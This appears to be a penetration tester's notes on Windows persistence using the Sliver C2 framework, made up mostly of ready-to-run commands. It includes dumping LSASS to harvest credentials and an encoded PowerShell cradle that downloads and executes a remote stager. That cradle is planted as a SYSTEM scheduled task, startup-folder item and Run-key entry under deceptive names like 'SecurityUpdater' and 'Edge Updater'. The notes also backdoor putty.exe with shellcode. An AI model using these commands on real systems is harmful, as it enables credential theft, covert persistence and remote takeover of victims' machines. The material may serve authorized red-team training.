Persistance

Having access to a host with for example we can work on persistance by starting up with a beacon and listener.

generate beacon --http 10.10.14.120:9001 --skip-symbols --os windows -N http-beacon-9001

And the listener

http -L 10.10.14.62 -l 9001

When running as an Administrator

  • info = get info

  • interactive = Create session then use <session id>

  • getsystem = Spawn a new session running as NT

  • hashdump = use <session id> then get hashes.

Or dump LSASS

# Dump LSASS
sliver (http-beacon) > ps -e lsass

 Pid   Ppid   Owner                 Arch     Executable   Session 
===== ====== ===================== ======== ============ =========
 660   524    NT AUTHORITY\SYSTEM   x86_64   lsass.exe    0
 
sliver (http-beacon) > procdump --pid 660 --save /tmp/lsass.dmp

[*] Process dump stored in: /tmp/lsass.dmp

# Pypykatz
pypykatz lsa minidump /tmp/lsass.dmp

Persistance

We can achieve persistance with running scheduled task or other methods that runs every once in a while.

Usin g WMI events by having a "normal" spawn of calc.exe, for example, can open the calculator application and start the http-beacon.exe file

See for more techniques https://attack.mitre.org/tactics/TA0003/.

Scheduled tasks

Preparing our payload for scheduled tasks we have to encodig to UTF-16LE as powershell uses this.

echo -en "iex(new-object net.webclient).downloadString('http://10.10.14.120:8088/stager.txt')" | iconv -t UTF-16LE | base64 -w 0
aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADYAMgA6ADgAMAA4ADgALwBzAHQAYQBnAGUAcgAuAHQAeAB0ACcAKQA=

Now we can use schtaks cmdlet to create a task. We call it SecurityUpdate:

  • /sc = schedule frequency

  • /mo = frequency of repeating taks

  • /tn = name of taks

  • /ru = user context under which task runs

sliver (http-beacon) > execute powershell 'schtasks /create /sc minute /mo 1 /tn SecurityUpdater /tr "powershell.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADYAMgA6ADgAMAA4ADgALwBzAHQAYQBnAGUAcgAuAHQAeAB0ACcAKQA=" /ru SYSTEM'

Logon activity

Once a user logs in to the operating system, a specific payload is executed. We can insert a backdoor activity into the Startup folder and registry. Each user's Startup folder is in C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. If we drop a file here, the file will be executed every time the user logs in.

sharpersist -- -t startupfolder -c \"powershell.exe\" -a \"-nop -w hidden iex(new-object net.webclient).downloadstring(\'http://10.10.14.62:8088/stager.txt\')\" -f \"Edge Updater\" -m add

Run and RunOnce

Specify a program when a user logins by editing registry.

Registry items

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

sharpersist -- -t reg -c \"powershell.exe\" -a \"-nop -w hidden iex(new-object net.webclient).downloadstring(\'http://10.10.14.62:8088/staged.txt\')\" -k \"hklmrun\" -v \"AdvancedProtection\" -m add

Backdoor

Using the backdoor function in Sliver we can bakdoor binaries like putty.exe to run our shellcode. It can alter behaviour of the binary so that it wont even start. 

# New profile
sliver (http-beacon) > profiles new --format shellcode --http 10.10.14.62:9002 persistence-shellcode
[*] Saved new implant profile persistence-shellcode

# HTTP Listener
sliver (http-beacon) > http -L 10.10.14.62 -l 9002
[*] Starting HTTP :9002 listener ...
[*] Successfully started job #3

# Create backdoor
sliver (http-beacon) > backdoor --profile persistence-shellcode "C:\Program Files\PuTTY\putty.exe"
[*] Uploaded backdoor'd binary to C:\Program Files\PuTTY\putty.exe

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